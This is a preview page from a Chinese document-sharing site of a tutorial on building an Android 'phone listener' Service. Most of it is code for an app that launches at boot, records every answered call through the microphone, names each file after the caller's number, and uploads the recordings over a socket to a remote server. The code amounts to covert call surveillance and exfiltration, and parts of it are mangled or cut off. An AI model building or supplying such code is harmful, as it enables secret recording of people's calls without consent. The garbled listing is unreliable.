【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器_第1頁(yè)
【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器_第2頁(yè)
【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器_第3頁(yè)
【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器_第4頁(yè)
【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器_第5頁(yè)
免費(fèi)預(yù)覽已結(jié)束,剩余2頁(yè)可下載查看

付費(fèi)下載

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

【移動(dòng)應(yīng)用開(kāi)發(fā)技術(shù)】Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器

Android中怎么利用Service實(shí)現(xiàn)一個(gè)電話(huà)監(jiān)聽(tīng)器,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。***步:繼承Service類(lèi)public

class

SMSService

extends

Service

{

}第二步:在AndroidManifest.xml文件中的<application>節(jié)點(diǎn)里對(duì)服務(wù)進(jìn)行配置:<service

android:name=".SMSService"

/>服務(wù)不能自己運(yùn)行,需要通過(guò)調(diào)用Context.startService()或Context.bindService()方法啟動(dòng)服務(wù)。這兩個(gè)方法都可以啟動(dòng)Service,但是它們的使用場(chǎng)合有所不同。使用startService()方法啟用服務(wù),調(diào)用者與服務(wù)之間沒(méi)有關(guān)連,即使調(diào)用者退出了,服務(wù)仍然運(yùn)行。使用bindService()方法啟用服務(wù),調(diào)用者與服務(wù)綁定在了一起,調(diào)用者一旦退出,服務(wù)也就終止,大有“不求同時(shí)生,必須同時(shí)死”的特點(diǎn)。如果打算采用Context.startService()方法啟動(dòng)服務(wù),在服務(wù)未被創(chuàng)建時(shí),系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法,接著調(diào)用onStart()方法。如果調(diào)用startService()方法前服務(wù)已經(jīng)被創(chuàng)建,多次調(diào)用startService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù),但會(huì)導(dǎo)致多次調(diào)用onStart()方法。采用startService()方法啟動(dòng)的服務(wù),只能調(diào)用Context.stopService()方法結(jié)束服務(wù),服務(wù)結(jié)束時(shí)會(huì)調(diào)用onDestroy()方法。如果打算采用Context.bindService()方法啟動(dòng)服務(wù),在服務(wù)未被創(chuàng)建時(shí),系統(tǒng)會(huì)先調(diào)用服務(wù)的onCreate()方法,接著調(diào)用onBind()方法。這個(gè)時(shí)候調(diào)用者和服務(wù)綁定在一起,調(diào)用者退出了,系統(tǒng)就會(huì)先調(diào)用服務(wù)的onUnbind()方法,接著調(diào)用onDestroy()方法。如果調(diào)用bindService()方法前服務(wù)已經(jīng)被綁定,多次調(diào)用bindService()方法并不會(huì)導(dǎo)致多次創(chuàng)建服務(wù)及綁定(也就是說(shuō)onCreate()和onBind()方法并不會(huì)被多次調(diào)用)。如果調(diào)用者希望與正在綁定的服務(wù)解除綁定,可以調(diào)用unbindService()方法,調(diào)用該方法也會(huì)導(dǎo)致系統(tǒng)調(diào)用服務(wù)的onUnbind()-->onDestroy()方法。服務(wù)常用生命周期回調(diào)方法如下:onCreate()該方法在服務(wù)被創(chuàng)建時(shí)調(diào)用,該方法只會(huì)被調(diào)用一次,無(wú)論調(diào)用多少次startService()或bindService()方法,服務(wù)也只被創(chuàng)建一次。onDestroy()該方法在服務(wù)被終止時(shí)調(diào)用。與采用Context.startService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法onStart()只有采用Context.startService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在服務(wù)開(kāi)始運(yùn)行時(shí)被調(diào)用。多次調(diào)用startService()方法盡管不會(huì)多次創(chuàng)建服務(wù),但onStart()方法會(huì)被多次調(diào)用。與采用Context.bindService()方法啟動(dòng)服務(wù)有關(guān)的生命周期方法onBind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)綁定時(shí)被調(diào)用,當(dāng)調(diào)用者與服務(wù)已經(jīng)綁定,多次調(diào)用Context.bindService()方法并不會(huì)導(dǎo)致該方法被多次調(diào)用。onUnbind()只有采用Context.bindService()方法啟動(dòng)服務(wù)時(shí)才會(huì)回調(diào)該方法。該方法在調(diào)用者與服務(wù)解除綁定時(shí)被調(diào)用。你可以使用手機(jī)進(jìn)行現(xiàn)場(chǎng)錄音,實(shí)現(xiàn)步驟如下:***步:在功能清單文件AndroidManifest.xml中添加音頻刻錄權(quán)限:<uses-permission

android:name="android.permission.RECORD_AUDIO"/>第二步:編寫(xiě)音頻刻錄代碼:MediaRecorderrecorder=newMediaRecorder();recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式recorder.setOutputFile("/sdcard/itcast.amr");recorder.prepare();//預(yù)期準(zhǔn)備recorder.start();

//開(kāi)始刻錄

...

recorder.stop();//停止刻錄recorder.reset();

//重設(shè)recorder.release();//刻錄完成一定要釋放資源AndroidManifest.xml<?xml

version="1.0"

encoding="utf-8"?>

<manifest

xmlns:android="/apk/res/android"

package="com.tjp.phonelistiner"

android:versionCode="1"

android:versionName="1.0">

<uses-sdk

android:minSdkVersion="7"

/>

<application

android:icon="@drawable/icon"

android:label="@string/app_name">

<service

android:name=".PhoneListinerService"/>

<receiver

android:name=".BootBroadcastReceiver">

<intent-filter>

<!--

開(kāi)機(jī)廣播

-->

<action

android:name="ent.action.BOOT_COMPLETED"/>

</intent-filter>

</receiver>

</application>

<!--

訪(fǎng)問(wèn)網(wǎng)絡(luò)的權(quán)限

-->

<uses-permission

android:name="android.permission.INTERNET"/>

<!--

電話(huà)狀態(tài)監(jiān)聽(tīng)權(quán)限

-->

<uses-permission

android:name="android.permission.READ_PHONE_STATE"/>

<!--

開(kāi)機(jī)廣播權(quán)限

-->

<uses-permission

android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<!--

音頻刻錄權(quán)限

-->

<uses-permission

android:name="android.permission.RECORD_AUDIO"/>

</manifest>StreamToolpackage

com.tjp.util;

import

java.io.ByteArrayOutputStream;

import

java.io.File;

import

java.io.FileOutputStream;

import

java.io.IOException;

import

java.io.InputStream;

import

java.io.PushbackInputStream;

public

class

StreamTool

{

public

static

void

save(File

file,

byte[]

data)

throws

Exception

{

FileOutputStream

outStream

=

new

FileOutputStream(file);

outStream.write(data);

outStream.close();

}

public

static

String

readLine(PushbackInputStream

in)

throws

IOException

{

char

buf[]

=

new

char[128];

int

room

=

buf.length;

int

offset

=

0;

int

c;loop:

while

(true)

{

switch

(c

=

in.read())

{

case

-1:

case

'\n':

break

loop;

case

'\r':

int

c2

=

in.read();

if

((c2

!=

'\n')

&&

(c2

!=

-1))

in.unread(c2);

break

loop;

default:

if

(--room

<

0)

{

char[]

lineBuffer

=

buf;

buf

=

new

char[offset

+

128];

room

=

buf.length

-

offset

-

1;

System.arraycopy(lineBuffer,

0,

buf,

0,

offset);

}

buf[offset++]

=

(char)

c;

break;

}

}

if

((c

==

-1)

&&

(offset

==

0))

return

null;

return

String.copyValueOf(buf,

0,

offset);

}

/**

*

讀取流

*

@param

inStream

*

@return

字節(jié)數(shù)組

*

@throws

Exception

*/

public

static

byte[]

readStream(InputStream

inStream)

throws

Exception{

ByteArrayOutputStream

outSteam

=

new

ByteArrayOutputStream();

byte[]

buffer

=

new

byte[1024];

int

len

=

-1;

while(

(len=inStream.read(buffer))

!=

-1){

outSteam.write(buffer,

0,

len);

}

outSteam.close();

inStream.close();

return

outSteam.toByteArray();

}

}PhoneListinerServicepackage

com.tjp.phonelistiner;

import

java.io.File;

import

java.io.OutputStream;

import

java.io.PushbackInputStream;

import

java.io.RandomAccessFile;

import

.Socket;

import

android.app.Service;

import

android.content.Context;

import

android.content.Intent;

import

android.media.MediaRecorder;

import

android.os.IBinder;

import

android.telephony.PhoneStateListener;

import

android.telephony.TelephonyManager;

import

android.util.Log;

import

com.tjp.util.StreamTool;

public

class

PhoneListinerService

extends

Service

{

private

final

String

TAG="PhoneListinerService";

@Override

public

IBinder

onBind(Intent

intent)

{

return

null;

}

@Override

public

void

onCreate()

{

TelephonyManager

telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//獲得電話(huà)服務(wù)

telephonyManager.listen(new

TeleListine(),

PhoneStateListener.LISTEN_CALL_STATE);//對(duì)來(lái)電狀態(tài)進(jìn)行監(jiān)聽(tīng)

Log.i(TAG,

"onCreate");

super.onCreate();

}

private

class

TeleListine

extends

PhoneStateListener{

private

String

mobile;//來(lái)電號(hào)碼

private

MediaRecorder

recorder;//多媒體刻錄文件

private

File

autoFile;//保存文件

private

boolean

recoder;//是否刻錄

@Override

public

void

onCallStateChanged(int

state,

String

incomingNumber)

{

try

{

switch

(state)

{

case

TelephonyManager.CALL_STATE_IDLE://無(wú)任何狀態(tài)時(shí)--掛斷電話(huà)時(shí)

if(recoder){

recorder.stop();//停止刻錄

recorder.release();//釋放刻錄

recoder=false;

new

Thread(new

UploadTask()).start();

Log.i(TAG,

"開(kāi)始上傳");

}

break;

case

TelephonyManager.CALL_STATE_OFFHOOK://接起電話(huà)時(shí)

recorder

=

new

MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風(fēng)采集聲音

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內(nèi)容輸出格式

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式

autoFile=new

File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//輸出到緩存

recorder.setOutputFile(autoFile.getAbsolutePath());//輸出的位置

recorder.prepare();//預(yù)期準(zhǔn)備

recorder.start();

//開(kāi)始刻錄

recoder=true;

Log.i(TAG,

"接起電話(huà)");

break;

case

TelephonyManager.CALL_STATE_RINGING://電話(huà)進(jìn)來(lái)時(shí)

mobile=incomingNumber;

Log.i(TAG,

"mobile="+mobile);

break;

default:

break;

}

}

catch

(Exception

e)

{

Log.i(TAG,e.toString());

e.printStackTrace();

}

super.onCallStateChanged(state,

incomingNumber);

}

private

final

class

UploadTask

implements

Runnable{

@Override

public

void

run()

{

try

{

//Socket

socket

=

new

Socket("",

7878);

Socket

socket

=

new

Socket("",

7878);

OutputStream

outStream

=

socket.getOutputStream();

String

head

=

"Content-Length="+

autoFile.length()

+

";filename="+

autoFile

+

";

sourceid=1278916111468\r\n";

outStream.write(head.getBytes());

PushbackInputStream

inStream

=

new

PushbackInputStream(socket.getInputStream());

String

response

=

StreamTool.readLine(inStream);

System.out.println(response);

String[]

items

=

response.split(";");

String

position

=

items[1].substring(items[1].indexOf("=")+1);

RandomAccessFile

fileOutStream

=

new

RandomAccessFile(autoFile,

"r");

fileOutStream.seek(Integer.valueOf(position));

byte[]

buffer

=

new

byte[1024];

int

len

=

-1;

int

i

=

0;

while(

(len

=

fileOutStream.read(buffer))

!=

-1){

outStream.write(buffer,

0,

len);

i++;

//if(i==10)

break;

}

fileOutStream.close();

outStream.close();

inStream.close();

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論